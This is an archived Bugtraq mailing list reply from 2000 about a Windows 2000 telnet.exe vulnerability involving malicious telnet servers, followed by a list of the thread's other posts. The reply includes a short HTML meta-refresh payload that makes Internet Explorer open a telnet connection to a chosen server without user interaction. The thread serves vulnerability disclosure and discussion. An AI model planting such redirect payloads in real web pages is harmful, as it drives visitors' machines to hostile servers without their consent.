Bugtraq mailing list archives
Re: Win2k Telnet.exe malicious server vulnerability
From: Micah Webner <micah () SYSTIME COM>
Date: Thu, 14 Sep 2000 10:34:30 -0400
----- Original Message ----- From: "monti" <monti () USHOST COM> To: <BUGTRAQ () SECURITYFOCUS COM> Sent: Wednesday, September 13, 2000 4:13 PM Subject: Win2k Telnet.exe malicious server vulnerability
I would speculate that it might also be possible to force this to happen without user intervention with javascript/activeX/java or
really
creative HTLM. I try really hard not to do HTLM/web-code anymore
unless
it's really necessary so I didnt test this.
I tested this with IE5.5 and a simple http refresh, and it opened a telnet window. <html><head> <meta http-equiv="refresh" content="0;URL=telnet://sometelnetserver"> </head> </html> Didn't even need jscript/ActiveX/java to pull it off. Micah
Current thread:
- Win2k Telnet.exe malicious server vulnerability monti (Sep 13)
- Re: Win2k Telnet.exe malicious server vulnerability Jim Paris (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Micah Webner (Sep 14)
- <Possible follow-ups>
- Re: Win2k Telnet.exe malicious server vulnerability Microsoft Security Response Center (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability monti (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Microsoft Security Response Center (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Tim Hollebeek (Sep 14)
- Re: Win2k Telnet.exe malicious server vulnerability Blue Boar (Sep 15)
- Re: Win2k Telnet.exe malicious server vulnerability Рягин Михаил Юрьевич (Sep 15)
- Re: Win2k Telnet.exe malicious server vulnerability Bronek Kozicki (Sep 17)
- Re: Win2k Telnet.exe malicious server vulnerability J Edgar Hoover (Sep 18)
- Re: Win2k Telnet.exe malicious server vulnerability Bronek Kozicki (Sep 17)